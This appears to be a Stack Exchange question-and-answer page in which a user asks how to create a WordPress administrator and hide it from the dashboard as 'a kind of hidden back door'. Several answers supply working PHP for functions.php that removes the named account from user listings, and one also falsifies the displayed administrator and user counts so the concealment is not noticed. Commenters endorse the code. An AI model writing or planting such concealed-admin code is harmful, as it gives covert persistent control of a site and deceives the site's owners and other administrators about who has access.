8

I'd like to create an admin user in Wordpress and then hide it from the users list in the wordpress dashboard, as a kind of hidden back door. I am not trying to hide all admins, only a particular one.

Any help is greatly appreciated.

5 Answers 5

16

You can do this with a custom function in your functions.php. Here is an example :

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == '<USERNAME OF OTHER ADMIN>') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}

Or you can use a plugin for this; http://wordpress.org/plugins/user-role-editor/

2
  • how to hide an admin user with this plugin
    – ReNiSh AR
    Jun 4, 2014 at 15:55
  • 1
    I am not sure why this answer has not been chosen as the correct answer. As I have the very same requirement as the OP and this solution along with the suggestion by "user3474007" gave me exactly what I needed. Thank you man :-)
    – Awais Umar
    Dec 29, 2015 at 21:26
15

Combining the answer of "angezanetti", the question of "Natalia" and the response of "user3474007" to Natalia, this code will hide the user from all other users (including admins).

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'hiddenuser') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
  }
}
3
  • 1
    does Natalia's comment re wp_user_query need to be incorporated into this code you have provided? I've seen similar comments elsewhere online stating ~pre_user_query` should be replaced with wp_user_query.
    – inspirednz
    Jul 11, 2016 at 16:11
  • Further to my comment above, I've tested this code and it works perfectly as is. A brilliant solution, by the way. Thanks. Marking it up.
    – inspirednz
    Jul 11, 2016 at 16:27
  • I think the answer given by "user1032559" is the best solution, since it also adjusts the user count. Jul 2, 2019 at 21:26
12

There is a very good solution by angezanetti, but even when hiddenuser is hidden from Administrators list, the total number of admins shown is still unchanged and it can be suspicious for someone. I took the code by Symbolwdd and added lines for correct displayed number of admins:

add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'hiddenuser') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
   }
}

add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}
5
  • I think it would be more future proof if you could to program "minus one", rather that fixed number. What if a user will add new accounts?
    – Alex Reds
    Jun 6, 2017 at 22:19
  • I've updated the code, now it do all the work properly. Jun 9, 2017 at 5:34
  • 2
    This is the best answer - important to modify the user count for users as well. I changed it slightly by moving the filter into the if statement in the function, so that the count is only reduced when someone other than the hidden user is the current user. Jul 2, 2019 at 21:19
  • 1
    Even better than the solution I marked up previously. Marking yours up. Thanks for sharing this solution.
    – inspirednz
    Oct 24, 2019 at 2:23
  • Cannot add this code to cpanel. "Bailout! Malware detected: message appears
    – M.Islam
    Feb 4 at 11:23
2

I know, an old topic but someone sent me this link today..

One update: The hook is no longer pre_user_query BUT wp_user_query instead.

Also, with this method you're hiding your account from this particular admin account alone. Not all. What if another admin is added later on?

What I'd do is to hide the 'secret' account from anyone, except for themselves (in order to be able to edit it).

2

@Natalia - If you want to block all other admins to see your account, just change

if ($username == '<USERNAME OF OTHER ADMIN>') { 

with

if ($username != '<YOUR USERNAME>') { 

This way you hide your account to all other accounts but yours.

Not the answer you're looking for? Browse other questions tagged or ask your own question.